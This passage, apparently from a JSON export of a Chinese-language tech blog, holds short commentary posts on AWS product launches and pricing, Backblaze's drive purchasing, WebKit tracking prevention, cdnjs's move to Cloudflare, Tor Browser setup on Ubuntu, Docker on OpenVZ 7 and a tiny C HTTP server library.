    "body": "<a href=\"https://aws.amazon.com/rds/\">Amazon RDS</a> 推出了 Connection Pool 的產品，叫做 <a href=\"https://aws.amazon.com/rds/proxy/\">Amazon RDS Proxy</a>：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2019/12/amazon-rds-proxy-available-in-preview/\">Introducing Amazon RDS Proxy (Preview)</a>」。\r\n\r\n目前支援 <a href=\"https://dev.mysql.com/\">MySQL</a> (包括了傳統的與 <a href=\"https://aws.amazon.com/rds/aurora/\">Aurora</a> 版本的)：\r\n\r\n<blockquote>Amazon RDS Proxy supports Amazon RDS for MySQL and Amazon Aurora with MySQL compatibility, with support for additional RDS database engines coming soon.</blockquote>\r\n\r\n定價策略看起來是依照後端資料庫的 vCPU 計算：\r\n\r\n<blockquote>Pricing is simple and predictable: you pay per vCPU of the database instance for which the proxy is enabled.</blockquote>\r\n\r\n翻了一下價錢頁是 USD$0.015/vCPU (用 <code>us-east-1</code> 的資料)，而如果是 <code>t2</code> 系列的機器，最低是以 2 vCPUs 計算，不是照使用比例算：\r\n\r\n<blockquote>RDS Proxy pricing correlates to the number of vCPUs of the database instance for which it is enabled, with a minimum charge for 2 vCPUs.</blockquote>\r\n\r\n這樣一個 vCPU 一個月大約要 USD$21.6，算起來頗貴的... 如果 SLA 允許的話，用基本的方式 failover 也許就 ok 了...\r\n\r\n如果 SLA 真的要追求到這麼高的話，可以在這些區域測試：\r\n\r\n<blockquote>Amazon RDS Proxy is available in preview for RDS MySQL and Aurora MySQL in US East (N. Virginia), US East (Ohio), US West (Oregon), EU West (Ireland), and Asia Pacific (Tokyo) regions. Support for RDS PostgreSQL and Aurora PostgreSQL is coming soon.</blockquote>",
    "title": "Amazon RDS 推出了 Connection Pool 的產品"
  },
  {
    "id": "9323",
    "body": "<a href=\"https://aws.amazon.com/api-gateway/\">Amazon API Gateway</a> 宣佈一個新的產品，提供 HTTP APIs 管理 RESTful APIs (???)：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2019/12/amazon-api-gateway-offers-faster-cheaper-simpler-apis-using-http-apis-preview/\">Amazon API Gateway Offers Faster, Cheaper, Simpler APIs Using HTTP APIs (Preview)</a>」。\r\n\r\n官方是這樣描述 HTTP APIs 的：\r\n\r\n<blockquote>Use HTTP APIs to build high performance RESTful APIs that require API proxy functionality without API management features. HTTP APIs are optimized for serverless applications and HTTP backends, and offer up to 70% cost savings compared to REST APIs.</blockquote>\r\n\r\n你已經有了 RESTful APIs，然後跑去接個沒有 API management features 的 API Gateway...？\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/MMRCld5l.webp\" /><img src=\"https://i.gslin.com/imgur/MMRCld5l.jpg\" alt=\"\" /></picture>\r\n\r\n然後翻了一下之前 API Gateway 的豐功偉業，本來打了一大堆，但還是留點口德好了... 看起來 API Gateway 團隊裡老大的後台很硬啊，搞成這樣都沒被幹掉？\r\n\r\n話說回來，去年 <a href=\"https://aws.amazon.com/elasticloadbalancing/\">ALB</a> 宣佈支援 <a href=\"https://aws.amazon.com/lambda/\">AWS Lambda</a>，該不會是 API Gateway 實在太爛，所以 Serverless 的大方向逼 ALB 支援的啊？",
    "title": "Amazon API Gateway 又在搞奇怪的東西了..."
  },
  {
    "id": "9324",
    "body": "<a href=\"https://www.yubico.com/\">Yubico</a> 宣佈 <a href=\"https://www.apple.com/ios/\">iOS</a> 版的 app (<a href=\"https://apps.apple.com/us/app/yubico-authenticator/id1476679808\">Yubico Authenticator</a>) 正式支援 <a href=\"https://en.wikipedia.org/wiki/Near-field_communication\">NFC</a> 了：「<a href=\"https://www.yubico.com/2019/12/yubico-authenticator-app-for-ios-now-supports-nfc/\">Yubico Authenticator App for iOS Now Supports NFC</a>」，先前在九月時的說明告知了 iOS 13 的 API 允許透過 NFC 讀與寫 (先前只能讀)：「<a href=\"https://blog.gslin.org/archives/2019/09/13/9206/ios-%E4%B8%8A%E7%9A%84-yubikey/\">iOS 上的 Yubikey</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/TZheGjU.webp\" /><img src=\"https://i.gslin.com/imgur/TZheGjU.jpg\" alt=\"\" /></picture>\r\n\r\n作業系統的要求就如前面提到的需要 iOS 13+，而硬體上需要 <a href=\"https://en.wikipedia.org/wiki/IPhone_7\">iPhone 7</a> 之後的機種，之後看看市場上的反應...",
    "title": "iOS 上的 Yubico Authenticator App 正式支援 NFC"
  },
  {
    "id": "9325",
    "body": "在「<a href=\"https://alestic.com/2019/12/aws-reinvent-2019-workshops-jennine/\">Guest Post: AWS Workshop Links for AWS re:Invent 2019 (and more), by Jennine Townsend</a>」這邊看到整理出來的資料，雖然沒有去今年的 <a href=\"https://reinvent.awsevents.com/\">AWS re:Invent</a> 2019 參與實際操作，但還可以從教材裡面翻到一些有用的東西...\r\n\r\n可以看到蠻多主題都單獨註冊了 <code>.com</code> 的網域 (<a href=\"https://robomakerworkshops.com\">robomakerworkshops.com</a>、<a href=\"https://awssecworkshops.com\">awssecworkshops.com</a>、<a href=\"https://ecsworkshop.com\">ecsworkshop.com</a>、<a href=\"https://www.appmeshworkshop.com\">www.appmeshworkshop.com</a>、...)，而且有些是放到 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 上，但也有些是丟到 <a href=\"https://pages.github.com/\">GitHub Pages</a> 上...\r\n\r\n另外也有不少課程沒有申請網域，而是找個地方 (大多就是 <a href=\"https://github.com/\">GitHub</a>) 丟著而已，看起來是 <a href=\"https://aws.amazon.com/\">AWS</a> 官方給了免費的資源，然後看課程的主辦方要不要用...",
    "title": "今年 AWS Workshop 的資料"
  },
  {
    "id": "9326",
    "body": "相較於 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 有 Spot Instance (可以利用 Spot Instance 的競價機制省下很多費用)，這次 <a href=\"https://reinvent.awsevents.com/\">AWS re:Invent</a> 時 <a href=\"https://aws.amazon.com/fargate/\">Fargate</a> 也推出了對應的產品線：「<a href=\"https://aws.amazon.com/blogs/aws/aws-fargate-spot-now-generally-available/\">AWS Fargate Spot Now Generally Available</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/s2mNziD.jpg\" alt=\"\" />\r\n\r\n跟 EC2 的相同，你在上面跑的應用程式必須可以接受隨時中斷服務 (i.e. 必須是 crash-safe)，常見的情境是 worker 類的程式。\r\n\r\n價錢上大約在三折 (寫這篇時 <code>us-east-1</code> 目前的價錢)，考慮到啟動的速度比 EC2 快很多，這樣好像是個可以考慮的方案...",
    "title": "AWS Fargate 推出 Spot"
  },
  {
    "id": "9327",
    "body": "<a href=\"https://aws.amazon.com/lambda/\">AWS Lambda</a> 推出了 Provisioned Concurrency，降低冷啟動所需要的時間以確保效率：「<a href=\"https://aws.amazon.com/blogs/aws/new-provisioned-concurrency-for-lambda-functions/\">New – Provisioned Concurrency for Lambda Functions</a>」。\r\n\r\n看 benchmark 的資料就很清楚，可以避免冷啟動所產生的延遲：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/TufP7EB.webp\" /><img src=\"https://i.gslin.com/imgur/TufP7EB.jpg\" alt=\"\" /></picture>\r\n\r\n這邊也可以看出來就算是冷啟動，大約也是多個一秒多。如果這個延遲是需要被處理的，就可以考慮用 Provisioned Concurrency 了。\r\n\r\n價位上是依照保留的量：\r\n\r\n<blockquote>You only pay for the amount of concurrency that you configure and for the period of time that you configure it. Pricing in US East (N. Virginia) is $0.015 per GB-hour for Provisioned Concurrency and $0.035 per GB-hour for Duration. The number of requests is charged at the same rate as normal functions. You can find more information in the Lambda pricing page.</blockquote>\r\n\r\n不過如果量再更大，而且考慮成本，應該會考慮改回傳統的架構，用多台 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> instance 跑...",
    "title": "AWS Lambda 的 Provisioned Concurrency"
  },
  {
    "id": "9329",
    "body": "也是這次 <a href=\"https://reinvent.awsevents.com/\">AWS re:Invent</a> 發表的服務，透過 Machine Learning 分析可能的安全問題：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2019/12/introducing-amazon-detective/\">Introducing Amazon Detective</a>」。\r\n\r\n透過現有的各種 log 建立模型分析：\r\n\r\n<blockquote>Amazon Detective can analyze trillions of events from multiple data sources such as Virtual Private Cloud (VPC) Flow Logs, AWS CloudTrail, and Amazon GuardDuty, and automatically creates a unified, interactive view of your resources, users, and the interactions between them over time.</blockquote>\r\n\r\n依照 log 的量算錢的，然後 preview 階段不收費，所以有興趣的人可以開起來跑看看？",
    "title": "Amazon Detective：用 Machine Learning 分析可能的安全問題"
  },
  {
    "id": "9330",
    "body": "<a href=\"https://en.wikipedia.org/wiki/Rasmus_Lerdorf\">Rasmus Lerdorf</a> 整理的資料 (就是生出 <a href=\"https://www.php.net/\">PHP</a> 的那個 <a href=\"https://twitter.com/rasmus\">@rasmus</a>)，關於平價 VPS 的測試：「<a href=\"https://toys.lerdorf.com/low-cost-vps-testing\">Low-Cost VPS Testing</a>」。\r\n\r\n因為是 PHP 的大頭，所以把編 PHP 當作是 benchmark 的項目之一也不算太意外。另外還是有比較常見的 dd 與 iperf3 測試資料可以看。\r\n\r\n算是一個挖掘的點，之後也可以租幾台測試看看...",
    "title": "Rasmus 的平價 VPS 測試"
  },
  {
    "id": "9331",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 推出了具有語意分析的能力，可以直接丟自然語言進去搜尋的 <a href=\"https://aws.amazon.com/kendra/\">Amazon Kendra</a>：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2019/12/announcing-amazon-kendra-reinventing-enterprise-search-with-machine-learning/\">Announcing Amazon Kendra: Reinventing Enterprise Search with Machine Learning</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/fRJZHZf.webp\" /><img src=\"https://i.gslin.com/imgur/fRJZHZf.jpg\" alt=\"\" /></picture>\r\n\r\n之前 <a href=\"https://www.google.com/\">Google</a> 有推出過 <a href=\"https://en.wikipedia.org/wiki/Google_Search_Appliance\">Google Search Appliance</a> 也是做企業內資料的整合 (2016 年收掉了)，但應該沒有到可以用自然語言搜尋？\r\n\r\nAmazon Kendra 的費用不算便宜，Enterprise Edition 提供 150GB 的容量與 50 萬筆文件，然後提供大約 40k query/day，這樣要 USD$7/hr，一個月大約是 USD$5,040，不過對於企業來說應該是很有用...\r\n\r\n另外有提到這邊 query 收費的部份是估算，會依照 query 問題的難易度而不同：\r\n\r\n<blockquote>Actual queries per day will vary based on query complexity, which greatly varies from customer to customer. Less complex queries (e.g. “leave policy”) consume less resources to run, and more complex queries (e.g. “What’s the daily parking allowance in Seattle?”) consume more resources to run. The total number of queries you can run with your allocated resources will depend on your mix of queries. The max queries per day provided above is an estimate, assuming 80% less complex queries and 20% more complex queries.</blockquote>\r\n\r\n這樣頗有趣的，感覺可以處理簡單的分析了？",
    "title": "企業內的文件搜尋系統 Amazon Kendra"
  },
  {
    "id": "9332",
    "body": "在「<a href=\"https://www.backblaze.com/blog/how-backblaze-buys-hard-drives/\">How Backblaze Buys Hard Drives</a>」這篇裡面提到了 <a href=\"https://www.backblaze.com/\">Backblaze</a> 採購硬碟的策略，可以看到完全都是偏成本走向，所以裡面的策略一般個人用不太到，一般企業也不應該照抄，但拿來看看還蠻有趣的...\r\n\r\n像是因為硬碟太多，所以硬碟的使用電量是他們在評估成本時蠻重要的一環，這點在一般的情境下不太會考慮到：\r\n\r\n<blockquote>Power draw is a very important metric for us and the high speed enterprise drives are expensive in terms of power cost. We now total around 1.5 megawatts in power consumption in our centers, and I can tell you that every watt matters for reducing costs.</blockquote>\r\n\r\n另外也提到了 <a href=\"https://en.wikipedia.org/wiki/Shingled_magnetic_recording\">SMR</a> 硬碟的特性，在單位成本雖然有比較高的容量，但導致架構面需要配合 (cache)，而也會有工程端的成本提昇，所以不是很愛：\r\n\r\n<blockquote>SMR would give us a 10-15% capacity-to-dollar boost, but it also requires host-level management of sequential data writing. Additionally, the new archive type of drives require a flash-based caching layer. Both of these requirements would mean significant increases in engineering resources to support and thereby even more investment. So all-in-all, SMR isn’t cost-effective in our system.</blockquote>\r\n\r\n成本面上，他們觀察到的現象是每季會降 5%～10%：\r\n\r\n<blockquote>Ideally, I can achieve a 5-10% cost reduction per terabyte per quarter, which is a number based on historical price trends and our performance for the past 10 years.</blockquote>\r\n\r\n另外提到了用 SAS controller 可以接多個 SATA 硬碟的事情 (雖然還是成本考量)，但這塊也蠻有趣的：\r\n\r\n<blockquote>Longer term, one thing we’re looking toward is phasing out SATA controller/port multiplier combo. This might be more technical than some of our readers want to go, but: SAS controllers are a more commonly used method in dense storage servers. Using SATA drives with SAS controllers can provide as much as a 2x improvement in system throughput vs SATA, which is important to me, even though serial ATA (SATA) port multipliers are slightly less expensive. When we started our Storage Pod construction, using SATA controller/port multiplier combo was a great way to keep costs down. But since then, the cost for using SAS controllers and backplanes has come down significantly.</blockquote>",
    "title": "Backblaze 採購硬碟的策略"
  },
  {
    "id": "9333",
    "body": "<a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 的 access log 多了一些欄位可以抓：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2019/12/cloudfront-detailed-logs/\">Amazon CloudFront now provides seven new data fields in access logs</a>」。\r\n\r\n官方這次加了七個欄位，看起來後面六個都還蠻有用的... (第一個 <strong>c-port</strong> 是 client 的 port，目前只想的到 debug 時可以拿出來看...)\r\n\r\n而第二個的 <strong>time-to-first-byte</strong> 可以拿來分析效能，這是從 CloudFront 的角度來看的。\r\n\r\n第三個的 <strong>x-edge-detailed-result-type</strong> 是錯誤時的處理，讓管理者可以從 access log 直接粗略分析。\r\n\r\n剩下的四個都是跟 content type 與 length/range 有關，之前居然沒有嗎...",
    "title": "CloudFront 的 access log 多了一些欄位"
  },
  {
    "id": "9334",
    "body": "第一次看到標題的時候的確是 WTF 的感覺，愈來愈感覺到大戰的開始：「<a href=\"https://webkit.org/blog/9661/preventing-tracking-prevention-tracking/\">Preventing Tracking Prevention Tracking</a>」。\r\n\r\n在蘋果的平台上有 Intelligent Tracking Prevention (ITP) 功能，但先前這個功能比較簡單，所以還是有很多地方可以被當作 browser fingerprint 的一部份分析，所以蘋果決定改善，然後在新版的軟體裡引入：\r\n\r\n<blockquote>This blog post covers enhancements to Intelligent Tracking Prevention (ITP) included in Safari on iOS and iPadOS 13.3, Safari 13.0.4 on macOS Catalina, Mojave, and High Sierra.</blockquote>\r\n\r\n包括了跨站台時 <code>Referer</code> 的省略：\r\n\r\n<blockquote>ITP now downgrades all cross-site request referrer headers to just the page’s origin. Previously, this was only done for cross-site requests to classified domains.</blockquote>\r\n\r\n然後後面三個改善都跟 3rd-party cookie 有關，其中預設擋掉帶 cookie 的 3rd-party requests 應該會讓一些網站掛掉：\r\n\r\n<blockquote>ITP will now block all third-party requests from seeing their cookies, regardless of the classification status of the third-party domain, unless the first-party website has already received user interaction.</blockquote>\r\n\r\n早期自己做自家 SSO 的奇技淫巧中，會設計出透過 ajax 打多個不同的網域自動登入，看起來應該會需要檢查了...",
    "title": "Webkit 的「反追蹤反追蹤」功能..."
  },
  {
    "id": "9335",
    "body": "看到 <a href=\"https://twitter.com/jeffbarr\">Jeff Barr</a> 的 tweet：\r\n\r\n<blockquote class=\"twitter-tweet\"><p lang=\"en\" dir=\"ltr\">New - Attach Multiple Elastic Inference Accelerators to a single EC2 Instance - <a href=\"https://t.co/LmSbgC5T0W\">https://t.co/LmSbgC5T0W</a> (learn more about Elastic Inference Accelerators at <a href=\"https://t.co/mi4bG5z1HC\">https://t.co/mi4bG5z1HC</a>) . <a href=\"https://twitter.com/hashtag/AWS?src=hash&amp;ref_src=twsrc%5Etfw\">#AWS</a> <a href=\"https://twitter.com/hashtag/ML?src=hash&amp;ref_src=twsrc%5Etfw\">#ML</a> <a href=\"https://t.co/eKKAFJtXEY\">pic.twitter.com/eKKAFJtXEY</a></p>&mdash; Jeff Barr ☁️ (@jeffbarr) <a href=\"https://twitter.com/jeffbarr/status/1206656620572184576?ref_src=twsrc%5Etfw\">December 16, 2019</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n所以是一台 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 的主機可以掛多個 <a href=\"https://aws.amazon.com/machine-learning/elastic-inference/\">Elastic Inference</a> (GPU) 了，這主要應該還是對現有的使用者有幫助。還沒有使用的應該會往新的 <a href=\"https://aws.amazon.com/machine-learning/inferentia/\">AWS Inferentia</a> 測試？(參考「<a href=\"https://blog.gslin.org/archives/2019/12/04/9315/aws-%e9%96%8b%e5%a7%8b%e6%8e%a8%e8%87%aa%e5%b7%b1%e7%9a%84-machine-learning-chip/\">AWS 開始推自己的 Machine Learning Chip</a>」)",
    "title": "Amazon EC2 可以掛多個 Elastic Inference 了"
  },
  {
    "id": "9336",
    "body": "看到「<a href=\"https://github.com/lukechilds/dockerpi\">dockerpi</a>」這個專案，讓你可以在 <a href=\"https://en.wikipedia.org/wiki/X86-64\">x86-64</a> 上模擬 <a href=\"https://en.wikipedia.org/wiki/Raspberry_Pi\">Raspberry Pi</a> 環境跑 <a href=\"https://en.wikipedia.org/wiki/Raspbian\">Raspbian</a>。\r\n\r\n然後整包是先透過 <a href=\"https://www.docker.com/\">Docker</a> 產出一個獨立環境，然後裡面跑 <a href=\"https://www.qemu.org/\">QEMU</a> 模擬 <a href=\"https://www.arm.com/\">ARM</a> 的環境，接下來再跑 Raspbian：\r\n\r\n<blockquote>A full ARM environment is created by using Docker to bootstrap a QEMU virtual machine. The Docker QEMU process virtualises a machine with a single core ARM11 CPU and 256MB RAM, just like the Raspberry Pi. The official Raspbian image is mounted and booted along with a modified QEMU compatible kernel.</blockquote>\r\n\r\n這馬上讓人想到 <a href=\"https://en.wikipedia.org/wiki/Inception\">Inception</a> 啊 XDDD\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ihPr1cR.webp\" /><img src=\"https://i.gslin.com/imgur/ihPr1cR.jpg\" alt=\"\" /></picture>\r\n\r\nAnyway，這個方法對於想玩玩的人可以省不少功夫，是個有趣的專案就是了...",
    "title": "在 x86-64 上跑 Raspberry Pi 的 OS"
  },
  {
    "id": "9337",
    "body": "<a href=\"https://www.youtube.com/\">YouTube</a> 的 embed 會載入大量的元件，所以就有專案把對使用者沒有意義的元件都拔掉：「<a href=\"https://github.com/paulirish/lite-youtube-embed\">Lite YouTube Embed</a>」。\r\n\r\n從比較可以看出來 Lite YouTube Embed 下載的元件少很多：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/hu5gxDF.webp\" /><img src=\"https://i.gslin.com/imgur/hu5gxDF.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/qZuHgzC.webp\" /><img src=\"https://i.gslin.com/imgur/qZuHgzC.jpg\" alt=\"\" /></picture>\r\n\r\n當然在功能上有差異，不過基本的功能應該都沒問題...\r\n\r\n雖然還是 JavaScript 實做，但可以看到實際的程式碼大概 40 行而已？(註解的行數大約是程式碼的兩倍)：「<a href=\"https://github.com/paulirish/lite-youtube-embed/blob/master/src/lite-yt-embed.js\">lite-youtube-embed/src/lite-yt-embed.js</a>」。\r\n\r\n不過要注意的是，程式碼中用到 ES6 的 <code>class</code> 語法，所以如果要考慮到 IE11，應該是要打包轉換...",
    "title": "改善內嵌 YouTube 影片的載入速度"
  },
  {
    "id": "9338",
    "body": "在「<a href=\"https://24ways.org/2019/microbrowsers-are-everywhere/\">Microbrowsers are Everywhere</a>」這篇文章裡提到在討論 Microbrowser 的影響力。這邊講的 Microbrowser 是指在各種平台上面貼連結時產生的預覽資訊，像是 IM 裡面連結的預覽資訊 (左邊的圖)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/rO0Xrfy.webp\" /><img src=\"https://i.gslin.com/imgur/rO0Xrfy.jpg\" alt=\"\" /></picture>\r\n\r\n這些預覽通常都不會執行 JavaScript，所以不會觸動頁面裡追蹤的服務，而一般的業主就會低估這個管道。但透過這個方式觸及到使用者的量以及影響力，作者覺得有可能比 Googlebot 還大：\r\n\r\n<blockquote>3. Microbrowser are probably more important than google bot</blockquote>\r\n\r\n算是另外一個領域的 optimization，畢竟不同的平台預覽的效果都不同...",
    "title": "Microbrowser 的影響力"
  },
  {
    "id": "9339",
    "body": "不確定是 cdnjs 還是 CDNJS，因為官方網站是小寫，但 <a href=\"https://github.com/\">GitHub</a> 上是大寫...\r\n\r\nAnyway，<a href=\"https://cdnjs.com/\">cdnjs</a> 本來由社群維護更新 (實際上是透過 bot 更新，但 bot 本身也需要維護)，因為人力時間的因素，轉移給 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 負責了：「<a href=\"https://blog.cloudflare.com/an-update-on-cdnjs/\">An Update on CDNJS</a>」。\r\n\r\n這次也更新了 cdnjs 的 daily request 數量，可以看到現在大約是每天六十億次：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/V0z6EsN.webp\" /><img src=\"https://i.gslin.com/imgur/V0z6EsN.jpg\" alt=\"\" /></picture>\r\n\r\n本來 Cloudflare 是站在贊助頻寬的角色提供服務：\r\n\r\n<blockquote>Within Cloudflare’s infrastructure there is a set of machines which are responsible for pulling the latest version of the repo periodically. Those machines then become the origin for cdnjs.cloudflare.com, with Cloudflare’s Global Load Balancer automatically handling failures. Cloudflare’s cache automatically stores copies of many of the projects making it possible for us to deliver them quickly from all 195 of our data centers.</blockquote>\r\n\r\n但更新的 bot 本身掛了，而且維護者沒時間修：\r\n\r\n<blockquote>Unfortunately approximately thirty days ago one of those bots stopped working, preventing updated projects from appearing in CDNJS. The bot's open-source maintainer was not able to invest the time necessary to keep the bot running. After several weeks we were asked by the community and the CDNJS founders to take over maintenance of the CDNJS repo itself.</blockquote>\r\n\r\n所以現在則是 Cloudflare 接手維護了：\r\n\r\n<blockquote>This means the Cloudflare engineering team is taking responsibility for keeping the contents of github.com/cdnjs/cdnjs up to date, in addition to ensuring it is correctly served on cdnjs.cloudflare.com.</blockquote>\r\n\r\n不過裡面也提到了一個問題，就是現在瀏覽器為了安全性，對於不同的站台會有不同的 cache，本來 cdnjs 的設計目的之一被大幅削弱，現在只剩下省頻寬了：\r\n\r\n<blockquote>The future value of CDNJS is now in doubt, as web browsers are beginning to use a separate cache for every website you visit. It is currently used on such a wide swath of the web, however, it is unlikely it will be disappearing any time soon.</blockquote>",
    "title": "cdnjs 轉移到 Cloudflare 負責維護"
  },
  {
    "id": "9341",
    "body": "因為 <a href=\"https://www.torproject.org/\">Tor Browser</a> 會自己更新，所以不想裝 package 版本。網路上比較多人寫的是 <a href=\"https://github.com/micahflee/torbrowser-launcher\">torbrowser-launcher</a>，但這幾天好像炸掉了，會一直說憑證有問題 (在 <a href=\"https://github.com/micahflee/torbrowser-launcher/issues\">Issues</a> 的頁面上可以看到一些回報)，所以還是找了一下有沒有官方推薦的方法...\r\n\r\n官方提供的是免安裝的執行檔案，結果在下載解開後，就看到了 <a href=\"https://gitweb.torproject.org/builders/tor-browser-bundle.git/tree/RelativeLink/start-tor-browser.desktop\">start-tor-browser.desktop</a> 這個檔案，如果打開來看，裡面就直接講到 <code>--register-app</code> 這個功能：\r\n\r\n<pre># After first invocation, it will update itself with the absolute path to the\r\n# current TBB location, to support relocation of this .desktop file for GUI\r\n# invocation. You can also add Tor Browser to your desktop's application menu\r\n# by running './start-tor-browser.desktop --register-app'</pre>\r\n\r\n他會自動把程式註冊到 <code>~/.local/share/applications/</code> 下，這樣用 Launcher 搜尋也找的到了，比想像中簡單不少...",
    "title": "在 Ubuntu 下安裝 Tor Browser"
  },
  {
    "id": "9342",
    "body": "前幾天在公司弄 <a href=\"https://gitlab.com/\">GitLab</a> 與 <a href=\"https://about.gitlab.com/product/continuous-integration/\">GitLab CI</a>，前者光跑起來都還沒動他就先吃 1.5GB 左右的記憶體，動兩下就 2.5GB 了。後者的 CI 隨著使用的情況而改變，不過最少丟個 1GB 差不多...\r\n\r\n公司用的機器當然是還好，先簡單弄一台 <code>t3a.medium</code> (4GB) 跑 GitLab 主體，然後另外一台 <code>t3a.small</code> (2GB) 跑 CI 的 Runner，真的有需要的時候可以再往上拉...\r\n\r\n不過自己也要弄的時候就會考慮到成本問題，畢竟也只有自己一個人用，如果在 <a href=\"https://www.vultr.com/\">Vultr</a> 上面租類似的機器就要 USD$30/month，其他的 <a href=\"https://en.wikipedia.org/wiki/Kernel-based_Virtual_Machine\">KVM</a> VPS 也都差不多價錢。\r\n\r\n而 <a href=\"https://en.wikipedia.org/wiki/OpenVZ\">OpenVZ</a> 的 VPS 主機一向都比 KVM 的 VPS 便宜不少，但有不少限制。其中一個限制就是沒辦法跑 <a href=\"https://www.docker.com/\">Docker</a>，這樣就沒辦法把 GitLab CI 的 Runner 跑上去了 (有其他模式可以跑，但我這邊偏好用 Docker)。\r\n\r\n查了一下資料 (因為記得 OpenVZ 有計畫要支援 Docker)，發現 OpenVZ 7 已經支援 Docker 了，而且在官方文件上面也都已經有說明了：「<a href=\"https://docs.virtuozzo.com/virtuozzo_7_users_guide/advanced-tasks/setting-up-docker-in-containers.html\">10.3. Setting Up Docker in Virtuozzo Containers</a>」、「<a href=\"https://wiki.openvz.org/Docker_inside_CT_vz7\">Docker inside CT vz7</a>」。\r\n\r\n然後順著找一下，發現市場上也已經有 OpenVZ 7 的 VPS，而且會宣傳支援 Docker，試著租一個月也確認可以跑，這樣代表之後又有更多選項啦...",
    "title": "OpenVZ 裡的 Docker"
  },
  {
    "id": "9343",
    "body": "<a href=\"https://github.com/jeremycw/httpserver.h\">httpserver.h</a> 這個專案是用 C 寫的，就一個 <code>.h</code> 檔，從範例可以看到用法不算太複雜：\r\n\r\n<pre>#define HTTPSERVER_IMPL\r\n#include \"httpserver.h\"\r\n\r\n#define RESPONSE \"Hello, World!\"\r\n\r\nvoid handle_request(struct http_request_s* request) {\r\n  struct http_response_s* response = http_response_init();\r\n  http_response_status(response, 200);\r\n  http_response_header(response, \"Content-Type\", \"text/plain\");\r\n  http_response_body(response, RESPONSE, sizeof(RESPONSE) - 1);\r\n  http_respond(request, response);\r\n}\r\n\r\nint main() {\r\n  struct http_server_s* server = http_server_init(8080, handle_request);\r\n  http_server_listen(server);\r\n}</pre>\r\n\r\n然後同時支援 <a href=\"https://en.wikipedia.org/wiki/Epoll\">epoll</a> 與 <a href=\"https://en.wikipedia.org/wiki/Kqueue\">kqueue</a>。拿來寫小東西還蠻有趣的，不過如果複雜一點的東西還是會考慮其他的框架就是了，畢竟會 blocking 的東西太多了...",
    "title": "一個超小的 HTTP Server Library"
  },
  {
    "id": "9344",
    "body": "看到「<a href=\"https://gameanalytics.com/blog/reduce-costs-https-api-aws.html\">Three ways to reduce the costs of your HTTP(S) API on AWS</a>」這邊介紹在 <a href=\"https://aws.amazon.com/\">AWS</a> 上省頻寬費用的方法，看了只能一直笑 XD\r\n\r\n第一個是降低 HTTP response 裡沒有用到的 header，因為每天有五十億個 HTTP request，所以只要省 1byte 就是省下 USD$0.25/day：\r\n\r\n<blockquote>Since we would send this five billion times per day, every byte we could shave off would save five gigabytes of outgoing data, for a saving of 25 cents per day per byte removed.</blockquote>\r\n\r\n然後調了一些參數後省下 USD$1,500/month：\r\n\r\n<blockquote>Sending 109 bytes instead of 333 means saving $56 per day, or a bit over $1,500 per month.</blockquote>\r\n\r\n第二個是想辦法在 TLS 這邊下手，一開始其中一個方向是利用 TLS session resumption 降低第二次連線的成本，但他們發現沒有什麼參數可以調整：\r\n\r\n<blockquote>One thing that reduces handshake transfer size is TLS session resumption. Basically, when a client connects to the service for the second time, it can ask the server to resume the previous TLS session instead of starting a new one, meaning that it doesn’t have to send the certificate again. By looking at access logs, we found that 11% of requests were using a reused TLS session. However, we have a very diverse set of clients that we don’t have much control over, and we also couldn’t find any settings for the AWS Application Load Balancer for session cache size or similar, so there isn’t really anything we can do to affect this.</blockquote>\r\n\r\n所以改成把 idle 時間拉長 (避免重新連線)：\r\n\r\n<blockquote>That leaves reducing the number of handshakes required by reducing the number of connections that the clients need to establish. The default setting for AWS load balancers is to close idle connections after 60 seconds, but it seems to be beneficial to raise this to 10 minutes. This reduced data transfer costs by an additional 8%.</blockquote>\r\n\r\n再來是 AWS 本身發的 SSL certification 太肥，所以他們換成 <a href=\"https://www.digicert.com/\">DigiCert</a> 發的，大幅降低憑證本身的大小，反而省下 USD$200/day：\r\n\r\n<blockquote>So given that the clients establish approximately two billion connections per day, we’d expect to save four terabytes of outgoing data every day. The actual savings were closer to three terabytes, but this still reduced data transfer costs for a typical day by almost $200.</blockquote>\r\n\r\n這些方法真的是頗有趣的 XDDD\r\n\r\n不過這些方法也是在想辦法壓榨降低與 client 之間的傳輸量啦，比起成本來說反而是提昇網路反應速度...",
    "title": "省頻寬的方法：終極版本..."
  },
  {
    "id": "9345",
    "body": "看到「<a href=\"https://queue.acm.org/detail.cfm?id=3375635\">API Practices If You Hate Your Customers</a>」這個，在講如果你不想給客戶用 API，或是你被迫要給，你要怎麼設計這些 API XDDD\r\n\r\n作者在文章後面有把重點整理成一張表，你也可以先看再拉回去看感興趣的細節部份：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/2uJQkrH.webp\" /><img src=\"https://i.gslin.com/imgur/2uJQkrH.jpg\" alt=\"\" /></picture>\r\n\r\n裡面超多奇怪的技巧，像是把文件藏起來不讓 <a href=\"https://www.google.com/\">Google</a> 搜的到之類的都出現了 XDDD\r\n\r\n然後我發現我在接某個印度公司的 API 的時候滿滿的既視感 XDDD",
